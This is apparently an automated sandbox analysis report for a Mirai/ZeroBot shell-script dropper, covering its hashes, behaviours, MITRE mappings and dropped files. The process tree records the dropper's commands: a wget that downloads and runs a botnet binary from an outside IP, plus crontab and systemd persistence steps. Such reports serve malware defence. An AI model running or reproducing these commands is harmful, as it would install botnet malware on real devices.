Analysis
- max time kernel
118s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
30/09/2026, 07:29
Static task
static1
Behavioral task
behavioral1
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsel-20260513-en
General
- Target ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
- Size 1KB
- Sample260930-jbbzyavxht
- SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
- MD5 ff0392a6b6e6f80511315fd3e571cab1
- SHA1 cdf934b11863ab95509ef877ed2ee19742d42068
- SHA512 752d29fcf75c70156a67c37d6c452eb979fc622b3b199d68d08a91c8a7639e920d5ee672da9649de0af23a2741422f2ef33db4f64168ac700f66ac9de2da8aa0
- TLSH T1DC313CF3FA66BC7271858839E75A7485A69B1C37182DAD5CB485F8303F3C804F621B66
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
mirai
-
94.154.43.30
Signatures
- Mirai ARM payload 2 IoCs
resource yara_rule behavioral2/memory/674-1-0x00008000-0x0009bf08-memory.dmp family_mirai_arm behavioral2/memory/674-2-0x00008000-0x0009bf08-memory.dmp family_mirai_arm - Contacts a large (46734) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 673 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/zerobot.arm7 674 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh /var/tmp/.sysd 674 zerobot.arm7 - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog .sysd File opened for modification /dev/watchdog .sysd - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.NqnRQL crontab File opened for modification /var/spool/cron/crontabs/tmp.ZNSFKG crontab - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .sysd - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/systemd-network-update.service zerobot.arm7 - Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog .sysd File opened for modification /bin/watchdog .sysd -
resource yara_rule behavioral2/files/fstream-1.dat upx - Changes its process name 8 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself [kthreadd] 674 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:0] 726 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 727 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 728 .sysd Changes the process name, possibly in an attempt to hide itself [watchdog/0] 730 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:1] 732 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:2] 733 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:3] 734 .sysd - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .sysd - Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs
Execute scripts via Unix Shell.
pid Process 719 sh 675 sh 681 sh - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/96/status .sysd File opened for reading /proc/1036/status .sysd File opened for reading /proc/1507/status .sysd File opened for reading /proc/1788/status .sysd File opened for reading /proc/self/exe zerobot.arm7 File opened for reading /proc/1197/status .sysd File opened for reading /proc/1508/status .sysd File opened for reading /proc/1756/status .sysd File opened for reading /proc/295/fd .sysd File opened for reading /proc/635/fd .sysd File opened for reading /proc/1440/status .sysd File opened for reading /proc/1266/status .sysd File opened for reading /proc/25/status .sysd File opened for reading /proc/1073/status .sysd File opened for reading /proc/1140/status .sysd File opened for reading /proc/928/status .sysd File opened for reading /proc/934/status .sysd File opened for reading /proc/871/status .sysd File opened for reading /proc/930/status .sysd File opened for reading /proc/1750/status .sysd File opened for reading /proc/1752/status .sysd File opened for reading /proc/639/status .sysd File opened for reading /proc/274/status .sysd File opened for reading /proc/1/environ systemctl File opened for reading /proc/1295/status .sysd File opened for reading /proc/1361/status .sysd File opened for reading /proc/1370/status .sysd File opened for reading /proc/1376/status .sysd File opened for reading /proc/1493/status .sysd File opened for reading /proc/1733/status .sysd File opened for reading /proc/1160/status .sysd File opened for reading /proc/1486/status .sysd File opened for reading /proc/1849/status .sysd File opened for reading /proc/5/status .sysd File opened for reading /proc/594/fd .sysd File opened for reading /proc/1275/status .sysd File opened for reading /proc/1400/status .sysd File opened for reading /proc/21/status .sysd File opened for reading /proc/filesystems systemctl File opened for reading /proc/1290/status .sysd File opened for reading /proc/1554/status .sysd File opened for reading /proc/1635/status .sysd File opened for reading /proc/28/status .sysd File opened for reading /proc/169/fd .sysd File opened for reading /proc/1561/status .sysd File opened for reading /proc/1604/status .sysd File opened for reading /proc/1746/status .sysd File opened for reading /proc/1845/status .sysd File opened for reading /proc/1/environ systemctl File opened for reading /proc/12/status .sysd File opened for reading /proc/145/fd .sysd File opened for reading /proc/1103/status .sysd File opened for reading /proc/1690/status .sysd File opened for reading /proc/23/status .sysd File opened for reading /proc/27/status .sysd File opened for reading /proc/640/status .sysd File opened for reading /proc/665/fd .sysd File opened for reading /proc/906/status .sysd File opened for reading /proc/1219/status .sysd File opened for reading /proc/105/status .sysd File opened for reading /proc/307/status .sysd File opened for reading /proc/280/fd .sysd File opened for reading /proc/1038/status .sysd File opened for reading /proc/980/status .sysd - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/zerobot.arm7 busybox
Processes
-
/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh1⤵
- Executes dropped EXE
PID:642 -
/bin/busybox/bin/busybox uname -m2⤵PID:645
-
-
/bin/rmrm -f zerobot.arm72⤵PID:647
-
-
/bin/busybox/bin/busybox wget -q -O zerobot.arm7 http://176.65.139.157/fvbig/zerobot.arm72⤵
- Writes file to tmp directory
PID:650
-
-
/bin/chmodchmod +x zerobot.arm72⤵
- File and Directory Permissions Modification
PID:673
-
-
/tmp/zerobot.arm7./zerobot.arm7 zerobot.arm72⤵
- Executes dropped EXE
- Modifies systemd
- Reads runtime system information
PID:674 -
/bin/sh/bin/sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:675 -
/usr/bin/crontabcrontab -l4⤵PID:678
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:680
-
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:679
-
-
-
/bin/sh/bin/sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:681 -
/bin/systemctlsystemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:682
-
-
/bin/systemctlsystemctl enable systemd-network-update.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:695
-
-
/bin/systemctlsystemctl start systemd-network-update.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:710
-
-
-
-
/var/tmp/.sysd/var/tmp/.sysd2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:674 -
/bin/sh/bin/sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:719 -
/usr/bin/crontabcrontab -l4⤵PID:721
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:723
-
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:722
-
-
-
-
/bin/rmrm -f zerobot.arm72⤵PID:735
-
-
/bin/rmrm -f telnet2.sh2⤵PID:737
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Unix Shell
1Scheduled Task/Job
1Cron
1Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/systemd-network-update.service
- Size 184B
- SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
- MD5 9f46c129e7dc87839ced9d15087b432a
- SHA1 f83562c882ee3880d3a25d0993ae934b5625283d
- SHA512 1971b69c160140092e323c4456de8efb8591305560ea09f1acf729e2c32d223e853ae447db5fd76754a2ccd07ae006554e4a845872ab2bcad083287fc106a9c4
- TLSH T131C02212672071D08C4B24725FB63B808A1002404A8AA1304BA0982500F3102A11A9BD
- MD5 SHA1 SHA512 TLSH
- Path /tmp/zerobot.arm7
- Size 278KB
- SHA256 62d789bf4e14bdf306249504ff4fa26490a1f58a0b3d35a8cb2dd583aa5abdbb
- MD5 44901b4a14fc09e191be356afc88c479
- SHA1 048e4e7792d6a2cac05ef61ef766f93d387a87b1
- SHA512 c856c14b0c9036123cb6fb6802fd165d42eba2e5fbd8cf2a84be691ad4062ccc15f74ae6e5065c97b67777431e59e0b17af0729fa46cd52e01ae0dcb4cc2610e
- SSDEEP 6144:6wZ0FPyzFg88JxXeDMNOmEH4sWH3CATG9L5YRN5VJ5akCaPG:8FPHlxuPa3C5ELnnG
- TLSH T1555423B78DEBF7118DBFD0791F638D5179E1D3A4078336942863788B44B0EA74AAD806
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.NqnRQL
- Size 175B
- SHA256 2aa297b32397754a35ddc0e9cd6044326fc6887f832bdd86ae5fe1cce863a391
- MD5 084916430ee60832ac1d3855ccfdd181
- SHA1 2bd13f9172640d2d0a1809cd3d3bd5249e14da9c
- SHA512 961cba2936f080f5d490cdbfe447afc3d6e996d3a6ad3cf01457980bd9828287b705cbc362d0467da83dd34ee2909d0f445087509d5e5a608f744442bddd28ed
- TLSH T1F3C0CC0C3F00F8303A000B0C222B002EA8A2A03CC00EAE80E0CC200C02023ACBF80C32
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.ZNSFKG
- Size 175B
- SHA256 a1adb70b3d45e55746747d53d467e19b5c59a8b97c61fe92c6417e8974841466
- MD5 5cc7d8ecefadf5a3f197c1dda136a35a
- SHA1 4a67e87af2a3063cd9fb4ea963824f0f0cbba128
- SHA512 5fcfb4a9467bc160b4c773a0760fe17728df8085d7c3d1af1f69055cfef17d4479d5e01956907dece38dd5c31a1d9066317b51b625d96385e70f33507fbf99d7
- TLSH T1E6C08C1D3F10B9343A451B4C626F452FA9B2A07ED05EAE91E1DD201C52167ACBF91972
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.sysd.lock
- Size 4B
- SHA256 3da0f739413d3a706e784bc294de663b37b0c522a11abaf171b988a57a393d74
- MD5 3f250eff0f014241eff003ed58312111
- SHA1 990cebc28a0e8c2bd7099ff2b082fecf73c41ac8
- SHA512 0858440791f42731bf080e1cc2bfeb0aa2090743c91aadc8d5f8d44817bd7042e29b65c4c3efcb08e1e545739f8aeb40d759d571c2dd3e1ae509e48e08edf121
- MD5 SHA1 SHA512